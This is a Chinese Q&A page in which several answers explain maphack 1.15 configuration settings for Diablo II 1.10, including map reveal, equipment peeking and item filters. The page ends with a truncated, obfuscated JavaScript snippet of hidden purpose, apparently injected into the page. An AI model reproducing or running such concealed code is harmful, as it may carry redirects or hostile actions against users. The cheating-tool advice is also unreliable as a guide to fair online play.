暗黑1.10,maphack 1.15的问题

2025-02-14 15:13:42
推荐回答(3个)
回答1:

  maphack配置说明(打开maphack安装目录下的d2maphack.ini文件)

  // 常用快捷键定义,格式为: 名字:键代码
  Reveal Act Automap Key: VK_SUBTRACT //小键盘"-"
  Reveal Level Automap Key: -1
  Center Map Scroll Key: VK_PAUSE
  Quick Exit Game Key: VK_OEM_MINUS //大键盘"-"
  Quick Next Game Key: VK_OEM_PLUS //大键盘"+"
  Auto Next Game Name: 1 //自动记忆上一游戏名
  Auto Next Game Password: 1 //自动记忆上一游戏密码
  Right Click Swap Toggle: 1, -1 //鼠标右健快速移动物品
  View Equipment Key: VK_K //"K"
  Quick Back To Town Key: VK_BACK //退格键"←"
  Auto Reveal Act: 2 //自动开全部地图

  关闭所有功能的方法都是在代码前面加// 如不要一键回城功能,就在代码前面加//
  //Quick Back To Town Key: VK_BACK //退格键"←"

  Reveal Act Automap Key: VK_SUBTRACT //小键盘"-"
  打开整个act的地图,热键小键盘"-"
  Center Map Scroll Key: VK_PAUSE
  移动地图后回到中间
  Quick Exit Game Key: VK_OEM_MINUS //大键盘"-"
  快速退出游戏,热键大键盘"-"
  Quick Next Game Key: VK_OEM_PLUS //大键盘"+"
  快速退出游戏,并对记忆的当前游戏名自动加1,热键大键盘"+"
  Auto Next Game Name: 1 //自动记忆上一游戏名
  Auto Next Game Password: 1 //自动记忆上一游戏密码
  Right Click Swap Toggle: 1, -1 //鼠标右健快速移动物品
  鼠标右健快速移动物品(点开箱子,把物品栏的物品拿起来点击右键就会自动放到箱子里了)
  后面的1,-1。前面的1是开启此功能(0为关闭此功能),后面的-1是默认?,
  View Equipment Key: VK_K //"K"
  偷窥别人装备,不包含物品栏,热键"K"
  Quick Back To Town Key: VK_BACK //退格键"←"
  一键回城,需要身上带了回城书,热键退格键"←"
  Auto Reveal Act: 2 //自动开全部地图
  //中文输入,默认开启
  Use Custom Font Toggle: 1, VK_U //中文输入开关"U"
  Locale MPQ:"d2locale.mpq"
  Localization Support: 1

  Full Visuals Toggle: 1, VK_MULTIPLY //天气环境变化,* 键,默认开启
  // Weather Toggle: 1, VK_MULTIPLY //气候变化
  // Infravision Toggle: 1, VK_MULTIPLY //透视
  // Light Radius Toggle: 1, VK_MULTIPLY //光照范围(视野)
  // Screen Shake Toggle: 1, VK_MULTIPLY //屏幕抖动(比如杀了大虫之后的震动)
  以上4条均为暗黑场景特效的分项,有偏好某些特效的玩家可以自己选择定义。
  // 定义小地图中其他玩家默认状态,名字和同盟显示
  Hidden Corpses Toggle: 0, VK_MULTIPLY //显示尸体, * 键,默认关闭
  Automap Monsters Toggle: 1, VK_DIVIDE //显示怪物、场景名称、箱子等
  Automap Chests Toggle: 1, VK_DIVIDE //箱子开关
  Automap Items Toggle: 1, VK_DIVIDE //地图物品隐藏开关
  Automap Missiles Toggle: 1, VK_DIVIDE //地图上显示敌人的发射物攻击(向导箭、骨精灵等)
  Automap Level Names Toggle: 1, -1 //洞穴的层数标示
  Automap Corpses Toggle: 0, -1 //小地图显示尸体,默认关闭,没热键
  Automap Active Rooms Toggle: 0, -1 //地图上活动块的颜色开关,游戏者周围共9个区域;默认为关闭,未设置热键
  Automap Ready Rooms Toggle: 0, -1 //
  Hidden Items Toggle: 0, VK_ADD //隐藏LJ物品,小键盘+号
  Scroll Map Toggle: 0, VK_SCROLL //区域卷动锁定中心,默认为关闭
  Automap Screen Area Toggle: 0, VK_SCROLL //当前实际可见区域标识颜色
  Monster TC Toggle: 1, -1 //TC财宝阶层显示,开启
  Monster Level Toggle: 1, -1 //怪物等级开启,开启
  Monster Resists Toggle: 0, VK_D //怪物4R显示
  Game Time Toggle: 1, -1 //进入game的时间显示
  Clock Toggle: 1, -1 //显示当前时间
  Drop Protect Toggle: 1, -1 //ITEM DROP Hack保护
  Tppk Protect Toggle: 1, -1 /TPPK保护功能????
  Out Town Select Toggle: 0, VK_E //城外选择功能(默认关闭,需要在城外看别人装备再按热键"E"开启)
  Perm Show Orbs Toggle: 1, -1 //显示mana和life数值,开启
  Message Filter Toggle: 1, -1 //日志过滤功能
  Message Log Toggle: 1, -1 //日志记录,保存到maphack所在目录
  Rune Numbers Toggle: 1, -1 //显示rune的序号
  Socket Numbers Toggle: 1, -1 //显示物品的孔数
  Unit Numbers Toggle: 0, -1 //物品单元编码显示
  //Unit Numbers Toggle: 1, VK_L //物品单元编码显示,默认关闭 L键
  Item Levels Toggle: 1, VK_L //物品ilvl显示,默认开启
  Item Indexs Toggle: 0, -1 //物品代码索引数字显示
  View Socketables Toggle: 0, VK_J //查看镶嵌物, J键
  Item Basic Stats Toggle: 0, VK_J ////去除装备上镶嵌物品所添加属性,显示装备原始属性
  Item Value Toggle: 0, VK_V //物品NPC价值显示,默认关闭,V键
  Quest Item Colour: -1 //任务item原色显示(如果为红色,表示你的东西是别的难度拿来的,不合适用)
  Light Radius: 255 //光照范围,最大
  Ethereal Item Prefix: "" //Eth物品特别标注
  Ethereal Item Postfix: "%2=Eth=" //后缀加绿色=eth=来标明
  Hidden Items Level: 0 //自动隐藏低级物品,关闭
  Hidden Item Value: 0 //隐藏低级物品NPC价值
  Ethereal Item Prefix: "" //Eth物品特别标注
  Ethereal Item Postfix: "%2=Eth=" //后缀加绿色=eth=来标明

  // 定义小地图中其他玩家默认状态,名字和同盟显示
  Automap Party Default: 1 //小地图显示同伴位置
  Automap Names Default: 1 //小地图显示同伴名称
  Mini Shrines Toggle: 1, -1 //小地图显示各种祭坛
  Level Name Colour: White //当前场景名称颜色
  Staff Tomb Level Desc: "%2<==Tomb Here lol" //突出显示塔拉夏古墓
  Diagonal Scroll Toggle: 1, -1 //小地图卷动开关
  Map Scroll Speed: 16 //地图卷动速度
  Life Bar Transparency: 2 //血槽透明度设定 默认系统设置
  Life Bar Colour: 0x08 //血槽颜色 默认系统设置
  Socket Protect Toggle: 1, 0x2D //镶嵌保护,insert键

  //有关根据life和敌对状况自动退出的一些配置
  Chicken Life Toggle: 0, VK_F //血过低自动退出开关,关闭,F键
  Chicken Hostile Toggle: 0, -1 //其他玩家敌对自动退出,关闭
  Chicken Hostile Nearby Toggle: 0, -1 //敌对玩家接近则自动退出,关闭
  // HC 玩家自动退出设定,有1定的保护作用,但不是绝对安全的。lag,秒杀是没法避免的。
  // HC 玩家适用,注意Chicken Life值设置须自行修改,具体看说明:
  //Chicken Life Toggle: 1, 0x2D //PVC时血过低自动退出开关,热键"Insert"
  //Chicken Hostile Toggle: 0, 0x2D // 其他玩家敌对自动退出开关,默认为关闭,切换开关是"Insert"
  //Chicken Hostile Nearby Toggle: 1, 0x2D // 敌对玩家接近则自动退出开关,默认为打开,切换开关是"Insert"
  //Chicken Life: 0 // 0表示不检查Life值,PVC时到死也不退出。
  //如果设置了数字如400,则PVC时低于400点Life值,自动退出。
  //检测次序是优先检测PVC Life设置,其后检测Hostile Life,再次检测Hostile Nearby Life
  //Chicken Hostile Life: 0 //0表示不检查Life值,Hostile到死也不退出。
  //如果你希望无论何时,只要一有玩家敌对就立即退出,那么就Life值设为譬如10000,
  //那么自然一有玩家敌对就立即退出,当然如果在城内还是不会自动退出的。
  //如果PVC Life设置高于Hostile Life设置值,譬如500,那么你一出城和敌对玩家厮杀,
  //只要Life低于500就退出,而不会到400才退
  //Chicken Hostile Nearby Life: 0 //0表示不检查Life值,Hostile到死也不退出。如果设置了数字如400,
  //则敌对玩家接近时低于400点Life值,自动退出,如果PVC Life或Hostile Life设置值
  //高于Hostile Nearby Life,譬如450,如果有敌对时,只要Life低于450就退出,
  //而不会到敌对玩家接近才退
  //Chicken Life Percent: 0 // 0~100%,百分比表示,
  //Chicken Hostile Life Percent: 0 // 0~100
  //Chicken Hostile Nearby Life Percent: 0 // 0~100

  //HC用户使用前面的设定后,请注释下面的设定
  Chicken Life Toggle: 0, 0x2D //PVC时血过低自动退出开关,热键"Insert"(默认设置为关闭,HP<15%自动退出)
  Chicken Hostile Toggle: 0, -1 // 其他玩家敌对自动退出开关
  Chicken Hostile Nearby Toggle: 0, -1 // 敌对玩家接近则自动退出开关
  Chicken Life: 0 //死也不退出
  Chicken Life Percent: 30 //检查PVC时Life百分比,不够设定值时自动退出 0~100
  Chicken Hostile Life: 0 //检查玩家敌对时Life值,不够设定值时自动退出
  Chicken Hostile Life Percent: 0 //检查玩家敌对时Life百分比,不够设定值时自动退出 0~100
  Chicken Hostile Nearby Life: 0 //检查敌对玩家接近时Life值,不够设定值时自动退出
  Chicken Hostile Nearby Life Percent: 0 //检查敌对玩家接近时Life百分比,不够设定值时自动退出 0~100
  // 一些危险怪物特别显示,可以直接写上怪物的名字,也可以写编号。编号可以在d2maphack.vcb中查找
  Monster Colours[Undead Stygian Doll 1]: 0x9b
  Monster Colours[Undead Stygian Doll 2]: 0x9b
  Monster Colours[Frenzied Ice Spawn]: 0x9b
  Monster Colours[Worldstone shake]: 0x9b
  Monster Colours[Gloam 2]: 0x9b
  Monster Colours[Black Soul 2]: 0x9b
  Monster Colours[Burning Soul 2]: 0x9b
  Monster Colours[Tomb viper 1]: 0x9b
  Monster Colours[Tomb Viper 2]: 0x9b
  Monster Colours[Soul Killer 3]: 0x9b
  Monster Colours[Soul Killer 4]: 0x9b
  Monster Colours[Undead Soul Killer 2]: 0x9b

  Good Gold Number: 2000 //地图显示金币的下限,低于2000则不显示
  Good Gold Colour: 0 //金币显示的颜色,无
  Poor Gold Colour: -1,-2 //屏蔽低于下限的金币

  Monster Desc Colour: Red //怪物颜色
  Monster Death Anims[1+]: 0 //不显示所有怪物死亡动画
  Monster Corpses[Wake of Fire-Death Sentry]: 0

  // 特殊属性怪物的显示的如下:
  Extra Strong Desc: "S" //特别强壮
  Extra Fast Desc: "F" //特别快速
  Cursed Desc: "%2C" //特别诅咒
  Magic Resistant Desc: "%8m" //魔法抵抗
  Fire Enchanted Desc: "%1FFFFFFFFFFFFF" //火焰强化
  Lightning Enchanted Desc: "%9LE" //闪电强化
  Cold Enchanted Desc: "%3CE" //冰冷强化
  Thief Desc: 0
  Mana Burn Desc: "%2mmmmmmm" //法力燃烧
  Teleportation Desc: "T" //传送
  Spectral Hit Desc: "H" //特别一击
  Stone Skin Desc: "%4SS" //皮肤硬化
  Multiple Shots Desc: "%12MS" //多重射击
  Ghostly Desc: 0 //幽灵的
  Fanatic Desc: "%11F" //狂热的
  Possessed Desc: 0 //着魔的
  Berserker Desc: "%4B" //狂暴的
  Champion Desc: 0

  // Auras Enhanted:光环附着
  Might Aura Desc: "%4a" //力量光环
  Holy Fire Aura Desc: "%1a" //圣火光环
  Blessed Aim Aura Desc: "%0a" //祝福瞄准
  Holy Freeze Aura Desc: "%3CCCC" //神圣冰冻
  Holy Shock Aura Desc: "%9a" //圣光冲击
  Conviction Aura Desc: "%11RRRR" //信念、审判
  Fanaticism Aura Desc: "%5KKKK" //狂热

  // Immunities:免疫属性
  Physical Immunity Desc: "%4i" //物理攻击免疫
  Magic Immunity Desc: "%8i" //魔法免疫
  Fire Immunity Desc: "%1i" //火焰免疫
  Lightning Immunity Desc: "%9i" //闪电免疫
  Cold Immunity Desc: "%3i" //冰冷免疫
  Poison Immunity Desc: "%2i" //毒素免疫

  // 玩家和怪物颜色
  Neutral Player Colour: 0x79 //一般玩家的颜色
  Hostile Player Colour: 0x5b //敌对玩家的颜色

  Normal Monster Colour: 0x62 //一般怪兽的颜色
  Boss Monster Colour: 0x5b //金怪的颜色
  Minion Monster Colour: 0x66 //金怪周围小怪的颜色
  Champion Monster Colour: 0x68 //蓝怪的颜色
  Act5 Barbarian Colour: 0x9f //ACT5 BAR的颜色

  //物品显示:

  Item Colours[0+][1-6]: -1,-2 //0+是所有装备,1-6是粗糙~亮金,-1是默认装备名字的颜色,-2是屏蔽装备(也就是屏蔽所有粗糙~亮金的装备.....)

  Item Colours[0+][7]: -1,-1 //0+是所有装备,7是暗金,-1是默认装备颜色,-1是不在小地图显示(也就是不屏蔽也不特别显示,特别显示指掉个暗金军帽时小地图显示一个暗金三角)
  Item Colours[Gold_Items][2,3,4,6]: -1,-1 //能卖3万5金币的东西,普通~亮金,默认装备名字颜色,不在小地图显示(也就是能卖3万5的白色、蓝色、亮金装备都不屏蔽,但不特别显示)

  //Item Colours[0+][6]: -1,-1 //所有亮金装备的名字都是亮金的,不屏蔽也不特别显示

  Item Colours[0+][5]: 10,-1 //普通套装(绿色装备)的名字都是暗绿色的,不屏蔽也不特别显示

  Item Colours[Elite Weapons][2,3,6]: -1,-1
  Item Colours[Elite Armor][2,3]: -1,-1
  //精英级的装备,普通、超强、亮金都显示

  //暗金手套
  Item Colours[1031][7]: -1,0x63 //幸运守护 (MF手套);
  Item Colours[1032][7]: -1,0x63 //法师之拳
  Item Colours[1149][7]: -1,0x63 //碎钢-食人魔铁手套
  Item Colours[1146][7]: -1,0x63 //卓古拉之握-吸血鬼骸骨手套 吸血鬼骸骨手套,暗金的,默认装备名字颜色,小地图暗金显示(也就是掉卓古拉之握的时候小地图显示暗金三角)

  //Colossus Blade 巨神之刃
  Item Colours[235][3][1,2][1,4,5,6,7]: 1,0x9b // 巨神之刃,超强的,有形、无形,无孔、3、4、5、6孔(也就是只要是超强的巨神之刃,不管是否无形,只要不是1、2孔的就都显示)

  //1-粗糙的.2-普通白色.3-超强的白色物品.4-蓝色物品.5-绿色套装.6-亮金物品.7-暗金物品.8-合成物品.

  //是否为ETH只有两种选择:
  有形: 1
  无形: 2

  物品孔数:如无孔则为1,6孔则为7。

  // 颜色代码
  0-12标识显示的物品名称颜色(text color)
  -1-缺省的; 0-白色的; 1-红色的; 2-亮绿色的; 3-蓝色的; 4-暗金色; 5-灰色的; 6-黑色的; 7-金色的 ;8-橙色的; 9-黄色的; 10-暗绿色; 11-紫色的; 12-绿色的

  Item Colours [235] [3] [1,2] [1,4,5,6,7] : 8, 0x60
  Item Colours[物品代码] [物品质量] [无形否] [孔数] 游戏内颜色,小地图颜色

  物品质量:
  1 | 2 | 3 | 4 | 5 | 6 | 7
  破碎 | 普通 | 超强 | 魔法(蓝色) | 套装(绿色) | 稀有(黄金) | 独有(暗金) |

  无形否:
  1 | 2
  有形 | 无形

  孔数:
  需要孔数+1,支持复数,如[1,6]代表无孔和5孔

  游戏内颜色:
  -2 | -1 | 代码
  不显示 | 游戏默认 | 代码在地图包内Color.htm可查,游戏内颜色支持右边那集中特定的
  1=红色,8=橙色,7=亮金色 2=绿色 3=蓝色 4=暗金色 5=灰色

  小地图颜色:
  -1 | 代码

  //Item Colours[2019]: 0,-1 // 箭矢
  //Item Colours[2021]: 0,-1 // 十字弓弹

  Item Colours[2013,2015][4]: 3,-1 // 蓝色项链,戒指;
  Item Colours[2013,2015][6]: 9,0x6f // Rare 项链,戒指
  Item Colours[2015][5]: 10,-1 // Set 戒指,通常无价值
  Item Colours[2013][5]: 2,0x84 // Set 项链,也许是塔拉夏项链
  Item Colours[2013,2015][7]: -1,0x20 // 暗金 项链,戒指
  Item Colours[2013,2015][8]: -1,-1 // 合成 项链,戒指,一般是别人扔的垃圾
  Item Colours[89]: 4,0x62 // 维特之脚,金色,地图颜色红色,
  Item Colours[2014,2017,2018,2024-2035,2037-2048,2137-2139]: 4,-1 //金色显示特殊过关物品和任务物品 ;地图颜色,灰白

  //一些能装备的任务物品
  Item Colours[Shaft of the Horadric Staff]: 4,0x1f // 金色显示赫拉迪克杖;
  Item Colours[Horadric Staff]: 4,0x1f // 未合成的仗
  Item Colours[Khalim's Flail]: 4,0x1f // 克林姆的意志合成前那个小锤
  Item Colours[Khalim's Will]: 4,0x1f // 克林姆意志
  Item Colours[Elixir]: 4,0x1f // 也忘了……
  Item Colours[Hell Forge Hammer]: 4,0x1f // 地狱溶炉铁锤
  Item Colours[The Gidbinn]: 4,0x1f // 吉得宾匕首
  Item Colours[Horadric Malus]: 4,0x1f // Imbue任务锤子,铁匠mm丢的
  Item Colours[2084] 0,-1 // 大血瓶
  Item Colours[2089]: 0,-1 // 大蓝瓶
  item Colours[2011,2012]: 0,-1 // 回城卷轴,辨识卷轴 白色
  item Colours[2022,2003]: 0,-1 // 回城书,辨识书
  item Colours[2009]: 11,-1 // 紫瓶,紫色
  item Colours[LGem]: -1,-1 //低级宝石
  item Colours[HGem]: 1,0x62 //高级宝石

回答2:

Automap Items Toggle: 1, VK_DIVIDE //地图物品隐藏开关

这个是小地图上面滴显示开关键!

Item Colours[0+][1-7]: -1,-2

全局变量控制,一定是-1和-2,一般后面不是-2滴改成-2就可以啦!

Hidden Items Toggle: 0, VK_ADD //隐藏LJ物品,小键盘+号

这个就是控制隐藏和显示LJ物品的快捷键!

回答3:

晕 这一大堆啊。。。。记事本打开 d2hackmap.cfg 里面有设置 一般物品设置都在最下面,应该都有说明 告诉你怎么设置垃圾物品 或者给贵重物品 在地图上显示3角或者别的图形。应该有个暗金物品列表 比如 暗金布甲不显示 就在起英文前面加上//
hackmap里 一般都有个物品代码 很简单就弄明白了
要是有不懂的话 PM我 随时告诉你

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 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